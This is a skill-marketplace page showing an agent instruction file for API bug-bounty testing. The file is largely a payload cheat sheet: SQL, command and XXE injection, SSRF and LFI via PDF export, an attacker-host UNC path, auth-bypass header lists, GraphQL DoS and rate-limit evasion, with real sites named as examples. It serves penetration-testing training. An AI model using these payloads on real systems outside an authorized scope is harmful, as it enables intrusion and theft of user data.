跳到正文
cccskills
免费在 GitHub 公开

api-fuzzing-bug-bounty

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic星标 92(GitHub 92 + cccskills 0)

实测评分 未实测

查看安装方法

包含的文件(2)

  • SKILL.md14.6 KB
  • references/tees-ecies-perps-dex.md4.7 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

  • Burp Suite or similar proxy tool
  • API wordlists (SecLists, api_wordlist)
  • Understanding of REST/GraphQL/SOAP protocols
  • Python for scripting
  • Target API endpoints and documentation (if available)

Outputs/Deliverables

  • Identified API vulnerabilities
  • IDOR exploitation proofs
  • Authentication bypass techniques
  • SQL injection points
  • Unauthorized data access documentation

API Types Overview

TypeProtocolData FormatStructure
SOAPHTTPXMLHeader + Body
RESTHTTPJSON/XML/URLDefined endpoints
GraphQLHTTPCustom QuerySingle endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

TEE-Protected API Breaking (ECIES + EIP-712)

For DEX/bridge APIs encrypting requests to Nitro/SGX enclaves, see references/tees-ecies-perps-dex.md.

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

ToolPurpose
GraphCrawlerSchema discovery
graphw00fFingerprinting
clairvoyanceSchema reconstruction
InQLBurp extension
GraphQLmapExploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

VulnerabilityDescription
API ExposureUnprotected endpoints exposed publicly
Misconfigured CachingSensitive data cached incorrectly
Exposed TokensAPI keys/tokens in responses or URLs
JWT WeaknessesWeak signing, no expiration, algorithm confusion
IDOR / BOLABroken Object Level Authorization
Undocumented EndpointsHidden admin/debug endpoints
Different VersionsSecurity gaps in older API versions
Rate LimitingMissing or bypassable rate limits
Race ConditionsTOCTOU vulnerabilities
XXE InjectionXML parser exploitation
Content Type IssuesSwitching between JSON/XML
HTTP Method TamperingGET→DELETE/PUT abuse

Quick Reference

VulnerabilityTest PayloadRisk
IDORChange user_id parameterHigh
SQLi' OR 1=1-- in JSONCritical
Command Injection; ls /Critical
XXEDOCTYPE with ENTITYHigh
SSRFInternal IP in paramsHigh
Rate Limit BypassBatch requestsMedium
Method TamperingGET→DELETEHigh

Tools Reference

CategoryToolURL
API FuzzingFuzzapigithub.com/Fuzzapi/fuzzapi
API FuzzingAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API FuzzingAstragithub.com/flipkart-incubator/Astra
API Securityapicheckgithub.com/BBVA/apicheck
API DiscoveryKiterunnergithub.com/assetnote/kiterunner
API Discoveryopenapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ToolkitAPIKitgithub.com/API-Security/APIKit
API KeysAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
WordlistsSecListsgithub.com/danielmiessler/SecLists
Swagger ParserSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger Routesswagroutesgithub.com/amalmurali47/swagroutes
API MindmapMindAPIdsopas.github.io/MindAPI/play
JSON Pathsjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

  • Test mobile, web, and developer APIs separately
  • Check all API versions (/v1, /v2, /v3)
  • Validate both authenticated and unauthenticated access

Must Not:

  • Assume same security controls across API versions
  • Skip testing undocumented endpoints
  • Ignore rate limiting checks

Should:

  • Add X-Requested-With: XMLHttpRequest header to simulate frontend
  • Check archive.org for historical API endpoints
  • Test for race conditions on sensitive operations

Pre-Auth Endpoint Fingerprinting (Error-Code Differential)

Compare error codes across endpoints to find ones that skip auth checks:

Response patternMeaningAction
12100 / "not logged in"Auth gate fires firstProperly gated
100002 / param error / timeoutParam validation BEFORE authPriority target — find correct params
404 / emptyWrong pathMove on
401 / 403HTTP-layer auth gateProperly gated

Hit every endpoint with garbage params. Endpoints returning param-validation errors (not auth errors) process requests before checking identity. Brute-force correct param shape from JS bundle analysis.

Real example (Tencent Docs): auth_exp/set and auth_getconf returned 100002 while siblings auth_info/get and set_user returned 12100. The 100002 endpoints process pre-auth.

JS Bundle API Mining

  1. curl -sk <target> | grep -oE 'src="[^"]+\.js"' → download bundles
  2. grep -oE '"[^"]*(/api/|/cgi-bin/|/v[0-9]/|/cgi-go/)[^"]*"' → endpoint paths
  3. Search endpoint string ±500 chars → param names and shape
  4. grep -oE '(xsrf|csrf|TOK|token).{0,100}' → CSRF token source
  5. Test param name variants: padId, localPadId, pad_id, docId
  6. grep -oE '(client_id|appid).{0,50}[0-9]{6,}' → OAuth config

Minified JS preserves paths and param names verbatim. Calling function reveals exact shape (FormData vs JSON, GET vs POST).

Named endpoint constants (high-value mining)

Minified bundles often define a single object of named route constants, e.g. users_polymarket_account:"/users/polymarket/account". Grepping this object reveals the FULL auth-gated surface in one shot — endpoints plain path-guessing never finds. This is how the whole Polymarket scope surfaced on Manic.trade:

# dump the whole route-constant object
grep -oE 'users_[a-z_]+:"/[^"]*"' chunk.js | sort -u
# or any prefix
grep -oE '[a-z_]+_auth[a-z_]*:"/[^"]*"' chunk.js | sort -u

Then probe each discovered path for auth status (401 vs 405 vs 200). A 405 (needs POST) vs 401 (missing auth) split tells you which are method-gated vs token-gated. Cross-check against the base URLs found in the same bundle (grep -oE 'https://[a-z0-9.-]*' *.js | sort -u) — /api/* paths may live on a DIFFERENT host than the one you're probing.

Auth-bypass matrix (when endpoints return 401)

When all sensitive endpoints return 401 Missing authorization, run this matrix before assuming a token is required — cheap and sometimes hits:

  • Header spoof: X-Forwarded-For: 127.0.0.1, X-Original-URL, X-Rewrite-URL, X-Custom-IP-Authorization, X-Real-IP, X-Auth-Token, X-Api-Key, X-Access-Token
  • Token tricks: Authorization: Bearer null, Bearer (empty), Basic YWRtaW46YWRtaW4=
  • Method/path: X-HTTP-Method-Override, trailing slash, // double slash, /api/./x, %2e, case change, ; semicolon, ?x=1 query

If ALL return the same 401 Missing authorization header, auth is enforced server-side (likely a middleware) and you need a real token — pivot to the login/wallet flow. Don't keep fuzzing; the bypass isn't there. (Manic.trade: every technique returned identical 401 — Turnkey-custodial auth, no bypass.)

Batch Discipline (Context Management)

  • Max 3-5 probes per terminal call
  • Print only DIFF results (suppress baseline)
  • head -c 150 on bodies, never dump full HTML/JS
  • One batch = one hypothesis
  • After 3-4 batches with no new signal → STOP, reassess strategy
  • End session with negative results table: | Probe | Result | Severity |

Pitfalls

  • Don't brute-force endlessly. After 3 batches with identical responses, the approach is wrong. Switch strategy (JS analysis, different param names, different content-type).
  • retcode:0 with empty result ≠ success. Check nested response codes (e.g., result.code:1007 = user not login despite top-level retcode:0).
  • WAF fingerprinting: Note which payload patterns trigger WAF (e.g., 501 responses) and avoid them in subsequent probes.
  • Session tokens are random per session. Extract fresh xsrf/TOK from Set-Cookie each batch; never reuse across sessions.

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

IssueSolution
API returns nothingAdd X-Requested-With: XMLHttpRequest header
401 on all endpointsTry adding ?user_id=1 parameter
GraphQL introspection disabledUse clairvoyance for schema reconstruction
Rate limitedUse IP rotation or batch requests
Can't find endpointsCheck Swagger, archive.org, JS files

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Web2 attack chain plugin — apply Web2 trust boundaries and composition rules on top of attack-chaining-core for authorized testing of web apps, APIs, identity, cloud, and internal services.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

Web3 attack chain plugin — apply Web3 state, economic, cryptographic, and consensus semantics on top of attack-chaining-core for authorized testing of smart contracts, DeFi, bridges, wallets, and validators.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

Domain-neutral attack chain analysis — determine whether independently identified security primitives compose into a realistic, authorized, evidence-backed attack path with greater impact.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

Build an evidence-backed map of externally and internally reachable attack surfaces, trust boundaries, privileged transitions, security assets, and high-value audit targets before vulnerability hunting.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

THE master bug bounty hunting skill — hasil merge arsenal 69 skill (bughunter-os, webhunter-os, open-kritt, ghost-scan, dll) + SYADAGENTIC-bugbounty v7.1 + submission review gate. Full-spectrum: recon, attack-surface mapping, bug discovery (Web/API, smart contract, crypto, infra), exploit dev, adversarial triage, evidence packaging, and submission. HARD FLOW: policy first, full recon pass, verify everything, hub before operator report, bug-bounty-submission-review gate before ANY submit, wait for operator "gas" before platform POST. Timer triggered whenever SYADAGENTIC is bug hunting or auditing anything. Includes 13 sub-skills, 28 commands, 10 agents, 51 tools, MCP servers, wordlists, tons of references.

中文简介正在准备中。当前显示原文说明。

Sekolah76/syadagentic922026年8月27日 更新

查看 Sekolah76 的全部技能

报告此技能的问题